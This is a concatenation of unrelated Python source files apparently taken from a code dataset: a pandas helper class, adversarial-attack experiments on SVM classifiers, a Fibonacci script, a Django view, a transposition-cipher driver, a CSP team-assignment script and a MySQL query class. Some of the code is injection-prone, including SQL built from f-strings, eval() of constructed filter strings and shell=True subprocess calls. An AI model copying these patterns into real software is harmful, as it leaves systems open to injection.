dim1[1] == '!=':\r\n df_dim2 = df_dim2[df_dim2[dim1[0]] != dim1[2]]\r\n elif dim1[1] == '>':\r\n df_dim2 = df_dim2[df_dim2[dim1[0]] > dim1[2]]\r\n elif dim1[1] == '<':\r\n df_dim2 = df_dim2[df_dim2[dim1[0]] < dim1[2]]\r\n elif dim1[1] == '>=':\r\n df_dim2 = df_dim2[df_dim2[dim1[0]] >= dim1[2]]\r\n elif dim1[1] == '<=':\r\n df_dim2 = df_dim2[df_dim2[dim1[0]] <= dim1[2]]\r\n\r\n df_dim2 = df_dim2.copy().reset_index(drop=True)\r\n df_select = self.concat_first(df_select, df_dim2)\r\n return df_select\r\n\r\n def select_df_concat(self, df_source, l_select_or, reset_index=0):\r\n \"\"\"\r\n 从数据源中多次筛选'且'或者'或'关系的内容, 并上下组合在一起\r\n :param df_source: 数据源\r\n :param l_select_or: list, dim: 3, '或'筛选条件列表, 例如:\r\n [\r\n [['机构', '==', 'XXXX'], ['年龄', '>=', 30]],\r\n [['项目', '!=', 'XXXX']]\r\n ]\r\n 即三维列表中的每一个项都是或的关系, 而最低维度列表中的每一项都是且的关系\r\n :param reset_index: default: 0, 合并的维度, 0 为上下合并, 1 为左右合并\r\n :return: df\r\n \"\"\"\r\n df = pd.DataFrame(columns=df_source.columns)\r\n for select_or in l_select_or:\r\n df_args = self.select_df_from_list(df_source, select_or)\r\n df = self.concat(df, df_args, reset_index=reset_index)\r\n return df\r\n\r\n @staticmethod\r\n def select_dim3(tuple_dim3):\r\n \"\"\"\r\n 用于向 a_api.query() 传递筛选内容, 支持多重and和or组合\r\n note:\r\n join_and: ['getattr(map_tb, XX) > XX', 'getattr(map_tb, XX) > XX']\r\n str_and: 'and_('getattr(map_tb, XX) > XX', 'getattr(map_tb, XX) > XX')'\r\n join_or: ['and_('getattr(map_tb, XX) > XX', 'getattr(map_tb, XX) > XX'),\r\n 'and_('getattr(map_tb, XX) > XX', 'getattr(map_tb, XX) > XX')]\r\n str_or: 'or_(and_('getattr(map_tb, XX) > XX', 'getattr(map_tb, XX) > XX'),\r\n and_('getattr(map_tb, XX) > XX', 'getattr(map_tb, XX) > XX')'\r\n process:\r\n 初始化join_or为空列表\r\n 循环dim3:\r\n 每次将join_and初始化为空列表\r\n 循环dim2:\r\n 将比较内容添加到join_and, 要区分被比较项list_dim1[2]是否是字符串\r\n 将join_and转换为str_and\r\n 将str_and添加到join_or\r\n 将join_or转换为str_or\r\n 调用方式:\r\n 需要用eval()解析\r\n select_sql_base = eval(select_dim3(tuple_dim3))\r\n df = a_api.query(conn_kl_dmps, map_tb, select_sql_base)\r\n :param tuple_dim3:\r\n eg: [[['field_1', '==', 'XXXX'], ['field_2', '>=', 30]], [['field_3', '!=', 'XXXX']]]\r\n 最外层是or, 倒数第二层是and, 最内层是三个比较元素, 其中中间一个是比较符号\r\n :return: str_or\r\n \"\"\"\r\n join_or = []\r\n for list_dim2 in tuple_dim3:\r\n join_and = []\r\n for list_dim1 in list_dim2:\r\n if isinstance(list_dim1[2], str):\r\n join_and.append(f'getattr(map_tb, \"{list_dim1[0]}\") {list_dim1[1]} \"{list_dim1[2]}\"')\r\n else:\r\n join_and.append(f'getattr(map_tb, \"{list_dim1[0]}\") {list_dim1[1]} {list_dim1[2]}')\r\n str_and = f'and_({\", \".join(join_and)})'\r\n join_or.append(str_and)\r\n str_or = f'or_({\", \".join(join_or)})'\r\n\r\n print(f'select_dim3: {str_or}')\r\n return str_or\r\n\r\n @staticmethod\r\n def select_time(df, time_col, start_time, end_time, type_datetime=1): # 筛选指定时期的数据, start_time是元祖方式传入日期\r\n if type_datetime == 1:\r\n start_time = dt.datetime(start_time[0], start_time[1], start_time[2]) # 将开始时间参数转换为datetime格式\r\n end_time = dt.datetime(end_time[0], end_time[1], end_time[2]) # 将结束时间参数转换为datetime格式\r\n df = df[(df[time_col] >= start_time) & (df[time_col] < end_time)] # 筛选指定日期的数据\r\n else:\r\n start_time = dt.date(start_time[0], start_time[1], start_time[2]) # 将开始时间参数转换为datetime格式\r\n end_time = dt.date(end_time[0], end_time[1], end_time[2]) # 将结束时间参数转换为datetime格式\r\n df = df[(df[time_col] >= start_time) & (df[time_col] < end_time)] # 筛选指定日期的数据\r\n df = df.reset_index()\r\n return df\r\n\r\n def sep_tb(self, df, sep_col, sum_col, path, sums=True, *args): # 分表函数,sep_col需要分表的列名,*args需要转换成字符串的表名\r\n df = self.to_str(df, *args) # 将长数字转换为字符\r\n\r\n l_data = df[sep_col].tolist() # 将需要分表的列转换为list\r\n l_data = list(set(l_data)) # 将list去重\r\n l_data.sort() # 排序\r\n\r\n sume = 0\r\n l_sheet = []\r\n l_df = []\r\n for i in range(len(l_data)):\r\n if isinstance(l_data[i], dt.datetime):\r\n sheet = dt.datetime.strftime(l_data[i], '%y-%m-%d') # 如果需要分表的内容为日期格式,则转换为字符\r\n else:\r\n sheet = l_data[i]\r\n l_sheet.append(sheet)\r\n l_df.append(df[df[sep_col] == l_data[i]])\r\n if sums is True:\r\n sume += l_df[i][sum_col].sum()\r\n self.data_w_septb(path, l_sheet, l_df)\r\n print(f'数据验证: {sume}')\r\n return l_data\r\n\r\n @staticmethod\r\n def slope(lists):\r\n \"\"\"\r\n 计算一个列表中每个点的变化率\r\n :param lists: 传入的列表\r\n :return:\r\n \"\"\"\r\n return [(lists[i] - lists[i + 1]) / max(lists[i], lists[i + 1]) for i in range(len(lists) - 1)]\r\n\r\n def sound(self, notes='', send_wechat=False, write_log=False, con_log=None, tb_name_log=None,\r\n tb_name_w=None): # 蜂鸣提示+运行时间\r\n end_timey = dt.datetime.now()\r\n running_time = (end_timey - self.start_time).seconds\r\n\r\n length = len(notes)\r\n print(f'\\n+--{\"-\" * length}+\\n| {notes} |')\r\n print(f'+--{\"-\" * length}+{\"-\" * (65 - length)}> '\r\n f'CurrentTime: {dt.datetime.now()}, '\r\n f'RunTime: {int(running_time / 60)} minutes, {running_time % 60} seconds')\r\n\r\n # winsound.Beep(700, 500)\r\n # winsound.Beep(400, 500)\r\n # winsound.Beep(500, 250)\r\n # winsound.Beep(600, 250)\r\n # winsound.Beep(700, 250)\r\n\r\n if write_log:\r\n self.log_sql(notes, con_log, tb_name_log, tb_name_w)\r\n\r\n if send_wechat:\r\n self.bot.file_helper.send(f\"Program's start-time: {dt.datetime.now()}\")\r\n self.bot.file_helper.send(notes)\r\n\r\n return running_time\r\n\r\n @staticmethod\r\n def split_col_to_add_row(df, split_col, split_symbol):\r\n \"\"\"\r\n 将某个字段按组成元素拆分成很多列, 然后再添加行\r\n :param df: 传入表\r\n :param split_col: 要拆分的字段, str\r\n :param split_symbol: 分割符号, str\r\n :return:\r\n \"\"\"\r\n df_lift = df.drop(split_col, axis=1)\r\n df_right = df[split_col].str.split(split_symbol, expand=True).stack().reset_index(level=1, drop=True).rename(\r\n split_col)\r\n df = df_lift.join(df_right)\r\n # useing pd.merge\r\n # df = pd.merge(df_lift, df_right, left_on=df_lift.index, right_on=df_right.index)\r\n return df\r\n\r\n @staticmethod\r\n def sql_add_aux_col(con, tb_name_w):\r\n with con.connect() as conn:\r\n conn.execute(f'ALTER TABLE `{tb_name_w}` ADD `id_sql` INT(20) UNSIGNED NOT NULL AUTO_INCREMENT, '\r\n f'ADD PRIMARY KEY (`id_sql`);')\r\n conn.execute(f'ALTER TABLE `{tb_name_w}` ADD `createtime` datetime DEFAULT CURRENT_TIMESTAMP;')\r\n conn.execute(f'ALTER TABLE `{tb_name_w}` ADD `updatetime` datetime '\r\n f'DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP;')\r\n\r\n @staticmethod\r\n def sth_to_datetime(x):\r\n if isinstance(x, pd.Timestamp):\r\n x = dt.datetime(x.year, x.month, x.day, x.hour, x.minute, x.second)\r\n elif pd.isnull(x):\r\n x = dt.datetime(1900, 1, 1)\r\n elif isinstance(x, int):\r\n if 1000000000 <= x <= 9999999999:\r\n timestamp = pd.Timestamp(x, unit='s')\r\n x = dt.datetime(\r\n timestamp.year, timestamp.month, timestamp.day, timestamp.hour, timestamp.minute, timestamp.second)\r\n else:\r\n x = x\r\n elif isinstance(x, str):\r\n str_datetime = re.match(r\"(\\d{4}-\\d{1,2}-\\d{1,2}\\s\\d{1,2}:\\d{1,2}:\\d{1,2})\", x)\r\n if str_datetime is not None:\r\n datetimes = dt.datetime.strptime(str_datetime.group(), '%Y-%m-%d %H:%M:%S')\r\n x = dt.datetime(\r\n datetimes.year, datetimes.month, datetimes.day, datetimes.hour, datetimes.minute, datetimes.second)\r\n else:\r\n x = x\r\n else:\r\n x = x\r\n return x\r\n\r\n @staticmethod\r\n def str_to_date(strs):\r\n match_res_date = re.match(r'\\d{4}-\\d{1,2}-\\d{1,2}', strs)\r\n if match_res_date:\r\n res_datetime = dt.datetime.strptime(match_res_date.group(), '%Y-%m-%d')\r\n res_date = dt.date(res_datetime.year, res_datetime.month, res_datetime.day)\r\n return res_date\r\n\r\n match_res_datetime = re.match(r'\\d{4}-\\d{1,2}-\\d{1,2} \\d{1,2}:\\d{1,2}:\\d{1,2}', strs)\r\n if match_res_datetime:\r\n res_datetime = dt.datetime.strptime(match_res_datetime.group(), '%Y-%m-%d %H:%M:%S')\r\n res_date = dt.date(res_datetime.year, res_datetime.month, res_datetime.day)\r\n return res_date\r\n\r\n @staticmethod\r\n def to_str(df, *args):\r\n for i in range(len(args)):\r\n df[args[i]] = df[args[i]].map(lambda x: str(x))\r\n return df\r\n\r\n def to_sql(self, df, con, tb_name_w, if_exists='fail', drop_aux=False, dtypedict=None, chunksize=None):\r\n if drop_aux:\r\n list_df_col = df.columns.tolist()\r\n list_aux_col = ['id_sql', 'createtime', 'updatetime']\r\n for col in list_aux_col:\r\n if col in list_df_col:\r\n df = df.drop(columns=col)\r\n\r\n self.sound(notes=f'entry: to_sql')\r\n if dtypedict:\r\n df.to_sql(con=con, name=tb_name_w, if_exists=if_exists, index=False, dtype=dtypedict, chunksize=chunksize)\r\n else:\r\n df.to_sql(con=con, name=tb_name_w, if_exists=if_exists, index=False, chunksize=chunksize)\r\n\r\n self.sound(notes=f'entry: sql_add_aux_col')\r\n self.sql_add_aux_col(con=con, tb_name_w=tb_name_w)\r\n\r\n self.sound(notes=f'finish')\r\n return self\r\n\r\n\r\nap = AP()\r\n# ap_sw = AP(send_wechat=True)\r\n","sub_path":"ning/auxpackage/tookit/analysis_package.py","file_name":"analysis_package.py","file_ext":"py","file_size_in_byte":48361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"231688474","text":"import numpy as np\nimport argparse\nimport subprocess\nimport os\n\nfrom lib.utils.svm_utils import *\nfrom lib.utils.data_utils import load_dataset, get_data_shape\nfrom lib.utils.dr_utils import *\nfrom lib.attacks.svm_attacks import *\n\n#------------------------------------------------------------------------------#\n\n\ndef main(argv):\n \"\"\"\n Main function to run strategic_svm.py. Set up SVM classifier, perform\n and evaluate attack, deploy defense and perform strategic attack. Resutls\n and adv. sample images are also saved on each task.\n \"\"\"\n\n # Parse arguments and store in model_dict\n model_dict = svm_model_dict_create()\n DR = model_dict['dim_red']\n rev_flag = model_dict['rev']\n strat_flag = 1 # Set to 1 to indicate strategic attack\n clear_flag = 1 # Set to 1 to clear previous output files\n\n # Load dataset and create data_dict to store metadata\n print('Loading data...')\n dataset = model_dict['dataset']\n if (dataset == 'MNIST'):\n X_train, y_train, X_val, y_val, X_test, y_test = load_dataset(\n model_dict)\n # Number of dimensions used\n rd_list = [784, 331, 200, 100, 90, 80, 70, 60, 50, 40, 30, 20, 10]\n # Flag indicating image data\n img_flag = 1\n elif dataset == 'GTSRB':\n X_train, y_train, X_val, y_val, X_test, y_test = load_dataset(\n model_dict)\n if model_dict['channels'] == 3:\n dim = 3072\n else:\n dim = 1024\n rd_list = [dim, 338, 200, 100, 90, 80, 70, 60, 50, 40, 33, 30, 20, 10]\n img_flag = 1\n elif dataset == 'HAR':\n X_train, y_train, X_test, y_test = load_dataset(model_dict)\n rd_list = [561, 200, 100, 90, 80, 70, 60, 50, 40, 30, 20, 10]\n X_val = None\n y_val = None\n img_flag = None\n n_rd = len(rd_list)\n\n # TODO: 2 classes case\n # if model_dict['classes'] == 2:\n # X_train = X_train\n\n data_dict = get_data_shape(X_train, X_test)\n n_features = data_dict['no_of_features']\n\n # Reshape dataset to have dimensions suitable for SVM\n X_train = X_train.reshape(-1, n_features)\n X_test = X_test.reshape(-1, n_features)\n # Center dataset by subtracting mean of training set\n mean = np.mean(X_train, axis=0)\n X_train -= mean\n X_test -= mean\n\n # Preprocess data if specified. Transformation matrix M is returned.\n M = None\n if model_dict['preprocess'] is not None:\n X_train, _, _, M = preprocess(model_dict, X_train, X_val, X_test)\n\n # Create a new model or load an existing one\n clf = model_creator(model_dict, X_train, y_train)\n # Modify classifier to include transformation matrix\n clf = model_transform(model_dict, clf, M=M)\n # Test the model\n model_tester(model_dict, clf, X_test, y_test)\n\n # Assign parameters\n n_mag = 25 # No. of deviations to consider\n dev_list = np.linspace(0.1, 2.5, n_mag) # List of deviations mag.\n output_list = [] # List contains attack output\n # Clear prev output files\n if clear_flag:\n abs_path_o = resolve_path_o(model_dict)\n _, fname = file_create(model_dict)\n os.remove(abs_path_o + fname + '.txt')\n _, fname = file_create(\n model_dict, rd=1, strat=strat_flag, rev=rev_flag)\n os.remove(abs_path_o + fname + '.txt')\n\n # Vanilla attack: test clf against adv. samples\n print('Performing attack...')\n if model_dict['classes'] != 2:\n for i in range(n_mag):\n X_adv, y_ini = mult_cls_atk(clf, X_test, mean, dev_list[i],\n img_flag)\n output_list.append(acc_calc_all(clf, X_adv, y_test, y_ini))\n if img_flag:\n save_svm_images(model_dict, data_dict, X_test + mean,\n X_adv + mean, dev_list[i])\n fname = print_svm_output(model_dict, output_list, dev_list)\n\n # else:\n # # TODO: 2 classes\n # print('TODO')\n\n if dataset == 'GTSRB':\n dataset += str(model_dict['channels'])\n fname = dataset + '/' + fname\n # Call gnuplot to plot adv. success vs. mag.\n subprocess.call(\n [\"gnuplot -e \\\"mname='{}'\\\" gnu_in_loop.plg\".format(fname)], shell=True)\n\n # Retrain defense and strategic attack\n print('--------------Retrain Defense & Strategic Attack--------------')\n for rd in rd_list:\n output_list = []\n print('Reduced dimensions: {}'.format(rd))\n\n # Dimension reduce dataset and reshape\n X_train_dr, _, _, dr_alg = dr_wrapper(\n X_train, X_test, None, DR, rd, y_train, rev=rev_flag)\n\n # With dimension reduced dataset, create new model or load existing one\n clf = model_creator(model_dict, X_train_dr, y_train, rd, rev_flag)\n # Modify classifier to include transformation matrix\n clf = model_transform(model_dict, clf, dr_alg=dr_alg, M=M)\n # Test model trained on dimension reduced data\n model_tester(model_dict, clf, X_test, y_test, rd, rev_flag)\n\n # Strategic attack: create new adv samples based on retrained clf\n print('Performing strategic attack...')\n for i in range(n_mag):\n X_adv, y_ini = mult_cls_atk(clf, X_test, mean, dev_list[i],\n img_flag)\n output_list.append(acc_calc_all(clf, X_adv, y_test, y_ini))\n if img_flag:\n save_svm_images(model_dict, data_dict, X_test + mean,\n X_adv + mean, dev_list[i], rd, dr_alg, rev_flag)\n\n fname = print_svm_output(model_dict, output_list, dev_list, rd,\n strat_flag, rev_flag)\n\n fname = dataset + '/' + fname\n subprocess.call(\n [\"gnuplot -e \\\"mname='{}'\\\" gnu_in_loop.plg\".format(fname)], shell=True)\n#------------------------------------------------------------------------------#\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n#------------------------------------------------------------------------------#\n","sub_path":"strategic_svm.py","file_name":"strategic_svm.py","file_ext":"py","file_size_in_byte":6061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"529877195","text":"while True:\r\n answer_type=input('would you like to get a [f]ull fibonachi string, just a [s]ingle number, or the [a]verage of a selected part?')\r\n\r\n if answer_type=='f':\r\n amount=input('Enter how many parts to the fibonacci sequence you desire to see')\r\n\r\n if int(amount)==1:\r\n fibonacci=[0]\r\n print(fibonacci)\r\n elif int(amount)==0:\r\n fibonacci=[]\r\n print(fibonacci)\r\n elif int(amount)==2:\r\n fibonacci=[0,1]\r\n print(fibonacci)\r\n else:\r\n fibonacci=[0,1,1]\r\n for parts in range(1,int(amount)-2):\r\n addative=fibonacci[-2]+fibonacci[-1]\r\n fibonacci.append(addative)\r\n print(fibonacci)\r\n\r\n elif answer_type=='s':\r\n single_num=input('What part to the fibonachi sequece do you wish to see')\r\n\r\n if int(single_num)==1:\r\n fibonacci=0\r\n print(fibonacci)\r\n elif int(single_num)==0:\r\n fibonacci='Nothing'\r\n print(fibonacci)\r\n elif int(single_num)==2:\r\n fibonacci=1\r\n print(fibonacci)\r\n else:\r\n fibonacci=[0,1,1]\r\n for parts in range(1,int(single_num)-2):\r\n addative=fibonacci[-2]+fibonacci[-1]\r\n fibonacci.append(addative)\r\n print(fibonacci[int(single_num)-1])\r\n\r\n elif answer_type=='a':\r\n amount=input('How many parts to the fibonachi sequence do you wish to be averaged?')\r\n if int(amount)==1:\r\n fibonacci=0\r\n print(fibonacci)\r\n elif int(amount)==0:\r\n fibonacci=[]\r\n print(fibonacci)\r\n elif int(amount)==2:\r\n fibonacci=[0,1]\r\n average=.5\r\n print(average)\r\n else:\r\n fibonacci=[0,1,1]\r\n for parts in range(1,int(amount)-2):\r\n addative=fibonacci[-2]+fibonacci[-1]\r\n fibonacci.append(addative)\r\n average=sum(fibonacci)/len(fibonacci)\r\n print(average)\r\n\r\n else:\r\n print('Not a valid input.')\r\n","sub_path":"fibbonchi.py","file_name":"fibbonchi.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"506753155","text":"from django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom ..models import AgentTransport\nfrom ..forms import AgentTransportFilterSortForm\nfrom datetime import datetime, timedelta\nfrom django.shortcuts import redirect\nfrom django.urls import reverse, reverse_lazy\nfrom django.contrib import messages\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\n\nclass AgentTransportEditTableView(TemplateView):\n \n @login_required(login_url=reverse_lazy('login'))\n def get_edit_table(request):\n template_name = 'agent_transport/agent_transport_edit_table.html'\n\n today = datetime.now()\n\n if request.method == \"GET\":\n filter_by = request.GET.get(\"filter_by\")\n date = request.GET.get(\"date\")\n\n if date == None:\n date = ''\n\n if not date:\n agent_transports = AgentTransport.objects.filter((Q(date__month=today.month) & Q(date__year=today.year)) | (Q(return_tr='') & ~Q(cancel='1'))).order_by('date', 'work_id')\n else:\n if filter_by == \"month\":\n month_year = datetime.strptime(date, '%Y-%m')\n agent_transports = AgentTransport.objects.filter((Q(date__month=month_year.month) & Q(date__year=month_year.year)) | (Q(return_tr='') & ~Q(cancel='1'))).order_by('date', 'work_id')\n else:\n agent_transports = AgentTransport.objects.filter(Q(date=date) | (Q(return_tr='') & ~Q(cancel='1'))).order_by('date', 'work_id')\n else:\n agent_transports = AgentTransport.objects.filter((Q(date__month=today.month) & Q(date__year=today.year)) | (Q(return_tr='') & ~Q(cancel='1'))).order_by('date', 'work_id')\n\n return render(request, template_name, {'agent_transports': agent_transports, 'filter_by': filter_by, 'date': date, 'today': today, 'nbar': 'agent-transport-table'})\n\n\n @login_required(login_url=reverse_lazy('login'))\n def save_edit_table(request):\n if request.method == 'POST':\n pk = request.POST['pk']\n date = request.POST['date']\n pickup_tr = request.POST['pickup_tr']\n pickup_from = request.POST['pickup_from']\n return_tr = request.POST['return_tr']\n return_to = request.POST['return_to']\n container_1 = request.POST['container_1']\n container_2 = request.POST['container_2']\n ref = request.POST['ref']\n remark = request.POST['remark']\n pickup_date = request.POST['pickup_date']\n return_date = request.POST['return_date']\n\n filter_by = request.POST['filter_by']\n date_filter = request.POST['date_filter']\n\n if not date:\n date = None\n if not pickup_date:\n pickup_date = None\n if not return_date:\n return_date = None\n\n agent_transport = AgentTransport.objects.get(pk=pk)\n agent_transport.date = date\n agent_transport.pickup_tr = pickup_tr\n agent_transport.pickup_from = pickup_from\n agent_transport.return_tr = return_tr\n agent_transport.return_to = return_to\n agent_transport.container_1 = container_1\n agent_transport.container_2 = container_2\n agent_transport.ref = ref\n agent_transport.remark = remark\n agent_transport.pickup_date = pickup_date\n agent_transport.return_date = return_date\n agent_transport.save()\n\n messages.success(request, \"Saving Agent Transport.\")\n return redirect(reverse('agent-transport-edit') + '?filter_by=' + filter_by + '&date=' + date_filter)\n else:\n return redirect('agent-transport-edit')\n","sub_path":"nddapp/agent_transport/views/agent_transport_edit_table_view.py","file_name":"agent_transport_edit_table_view.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"219575183","text":"import time, os, sys, transposition_encrypt, transposition_decrypt\n\n\ndef main():\n input_filename = 'frankenstein.txt'\n # ZACHOWAJ OSTROŻNOŚĆ! Jeżeli plik wymieniony w zmiennej outputFilename\n # już istnieje, ten program nadpisze jego zawartość\n output_filename = 'frankenstein.encrypted.txt'\n my_key = 10\n my_mode = 'szyfrowanie' # Przypisanie wartości 'szyfrowanie' lub 'deszyfrowanie'\n\n # Jeżeli plik danych wejściowych nie istnieje, program zakończy działanie\n if not os.path.exists(input_filename):\n print(f'To spowoduje nadpisanie pliku {output_filename}. (K)ontynuować czy (Z)akończyć pracę? ')\n response = input('> ')\n if not response.lower().startswith('k'):\n sys.exit()\n\n # Odczyt tekstu z pliku danych wejściowych\n file_obj = open(input_filename)\n content = file_obj.read()\n file_obj.close()\n\n print(f'{my_mode.title()}...')\n\n # Pomiar czasu operacji szyfrowania i deszyfrowania\n start_time = time.time()\n if my_mode == 'szyfrowanie':\n translated = transposition_encrypt.encrypt_message(my_key, content)\n elif my_mode == 'deszyfrowanie':\n translated = transposition_decrypt.decrypt_message(my_key, content)\n total_time = round(time.time() - start_time, 2)\n print(f'{my_mode.title()} trwało {total_time} sekundy.')\n\n # Zapisanie przetworzonego tekstu w pliku danych wyjściowych\n output_file_obj = open(output_filename, 'w')\n output_file_obj.write(translated)\n output_file_obj.close()\n\n print(f'Zakończono {my_mode} pliku {input_filename} ({len(content)}znaki).')\n\nif __name__ == '__main__':\n main()","sub_path":"transposition_file_cipher.py","file_name":"transposition_file_cipher.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"278602794","text":"from csp import* \nfrom a2_q1 import* \nfrom a2_q2 import* \nimport xlsxwriter\nimport time\n\ndef run_q4():\n workbook = xlsxwriter.Workbook('a2_q4.xlsx')\n worksheet = workbook.add_worksheet()\n labels = [\"probability\", \"#teams\", \"run time\", \"#assign\", \"#unassign\", \"team assignments\"]\n row = 0\n column = 0\n for item in labels:\n worksheet.write(row,column,item)\n column+=1\n \n def constraints (A, a, B, b):\n # for A,B as individual:team, then check to see if a:b is ok\n #assuming B is already assigned to A, can we assume b is assigned to a?\n\n #if individual A, B are neighbours (constrained not to be on same team), and a, b are different teams...\n if a==b:\n return False\n else:\n return True\n\n for x in range (5):\n graphs = [rand_graph(100, 0.1), rand_graph(100, 0.2), rand_graph(100, 0.3),\n rand_graph(100, 0.4), rand_graph(100, 0.5)]\n # friendList = rand_graph(100,0.2)\n for y in range(len(graphs)): \n startTime = time.time()\n friendList = graphs[y]\n # takes friend dictionary and initalizes CSP\n ibvariables = friendList.keys() #not needed\n domKeys = ibvariables\n domItems = ibvariables\n ibdomains = dict.fromkeys(domKeys, domItems)\n ibneighbors = friendList\n \n Icebreaker = CSP(ibvariables, ibdomains, ibneighbors, constraints)\n AC3(Icebreaker)\n backtracking_search(Icebreaker)\n # print(\"check_teams backtracking: \", check_teams(friendList, backtracking_search (Icebreaker)))\n # print(\"backtracking_search: \", (backtracking_search(Icebreaker)))\n teams = (backtracking_search(Icebreaker))\n # print(\"#team\", max(teams.values()))\n # # print(\"bt size: \", max(backtracking_search(Icebreaker)).values())\n # print(\"#assigned:\", Icebreaker.nassigns)\n # print(\"#unassigned\", Icebreaker.nassigns-len(ibvariables))\n endTime = time.time()\n # print(\"calculation time: \", endTime - startTime)\n \n teamNum = max(teams.values())\n numAssign = Icebreaker.nassigns\n numUnassign = Icebreaker.nassigns-len(ibvariables)\n calcTime = endTime - startTime\n content = [y*0.1+0.1, teamNum, calcTime, numAssign, numUnassign, str(teams)]\n row = x*5+y+1\n column = 0\n for item in content:\n worksheet.write(row,column,item)\n column+=1\n workbook.close() \nrun_q4()","sub_path":"aima-python-master/aima-python-master/a2-q4.py","file_name":"a2-q4.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"234018318","text":"import mysql.connector\nfrom mysql.connector import errorcode\n\n\nclass MyDB:\n \"\"\"\n Данная БД взята с сайта Kaggle\n https://www.kaggle.com/kaggle/sf-salaries\n \"\"\"\n\n def __init__(self,\n user='admin',\n password='password',\n host='127.0.0.1',\n database='database'):\n\n try:\n self.my_db = mysql.connector.connect(user=user,\n password=password,\n host=host,\n database=database)\n self.my_cursor = self.my_db.cursor()\n\n except mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Something is wrong with your user name or password\")\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print(\"Database does not exist\")\n else:\n print(err)\n self.my_db.close()\n\n def __del__(self):\n self.my_db.close()\n\n def get_select_all_from_table(self, table='Salaries'):\n \"\"\"\n Получить все записи таблицы\n :param table: название таблицы\n :return: все записи из таблицы\n \"\"\"\n self.my_cursor.execute(f\"SELECT * FROM {table}\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def unique_job_title_number(self):\n \"\"\"\n Сколько уникальных должностей (JobTitle) в таблице Salaries?\n :return: количество уникальных должностей\n \"\"\"\n self.my_cursor.execute(\"SELECT COUNT(DISTINCT JobTitle) \"\n \"FROM Salaries\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_unique_job_titles(self):\n \"\"\"\n Получить список уникальных должностей (JobTitle) в таблице Salaries\n :return: список уникальных должностей\n \"\"\"\n self.my_cursor.execute(\"SELECT DISTINCT JobTitle \"\n \"FROM Salaries\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_n_people_with_max_total_pay(self, n=10):\n \"\"\"\n Получить список N имен (EmployeeName), доход (TotalPay) и должнось (JobTitle) людей с самым большим доходом (TotalPay)\n :return: список имен (EmployeeName), доход (TotalPay) и должнось (JobTitle)\n \"\"\"\n self.my_cursor.execute(f\"SELECT EmployeeName, TotalPay, JobTitle \"\n f\"FROM Salaries \"\n f\"ORDER BY TotalPay DESC \"\n f\"LIMIT {n}\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_max_base_pay(self):\n \"\"\"\n Получить максимальную базовую оплату (BasePay)\n :return: максимальная базовая оплата\n \"\"\"\n self.my_cursor.execute(\"SELECT BasePay \"\n \"FROM Salaries \"\n \"ORDER BY BasePay DESC \"\n \"LIMIT 1\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_job_title_number_with_word(self, word):\n \"\"\"\n Получить количество должностей содержащих слово word\n :param word: слово для шаблона поиска\n :return: количество должностей содержащих слово word\n \"\"\"\n self.my_cursor.execute(f\"SELECT COUNT(JobTitle) \"\n f\"FROM Salaries \"\n f\"WHERE JobTitle LIKE '%{word}%'\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_unique_employee_name_number(self):\n \"\"\"\n Получить количество уникальных работников (по имени)\n :return: количество уникальных работников\n \"\"\"\n self.my_cursor.execute(\"SELECT COUNT(DISTINCT EmployeeName) \"\n \"FROM Salaries\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_n_most_popular_job_titles(self, n=10):\n \"\"\"\n Получить N самых популярных профессий (по количеству людей с данным JobTitle)\n :param n: число\n :return: список самых популярных профессий\n \"\"\"\n self.my_cursor.execute(f\"SELECT JobTitle, COUNT(*) AS Num \"\n f\"FROM Salaries \" \n f\"GROUP BY JobTitle \"\n f\"ORDER BY Num DESC \"\n f\"LIMIT {n}\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_job_titles_with_word(self, word):\n \"\"\"\n Получить список должностей содержащих слово word и количество человек с этими должностями\n :param word: слово для шаблона поиска\n :return: список должностей содержащих слово word и количество человек с этими должностями\n \"\"\"\n self.my_cursor.execute(f\"SELECT JobTitle, COUNT(*) AS Num \"\n f\"FROM Salaries \"\n f\"WHERE JobTitle LIKE '%{word}%' \"\n f\"GROUP BY JobTitle \"\n f\"ORDER BY Num DESC\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_employee_number_by_years(self):\n \"\"\"\n Получить список лет и количество людей зарегистрированных в этот год\n :return: список лет и количество людей зарегистрированных в этот год\n \"\"\"\n self.my_cursor.execute(\"SELECT Year, COUNT(*) AS Num \"\n \"FROM Salaries \"\n \"GROUP BY Year \"\n \"ORDER BY Num DESC\")\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n def get_job_title_avg_payments(self):\n \"\"\"\n Получить список профессий и средний доход для них\n :return: список профессий и средний доход для них\n \"\"\"\n 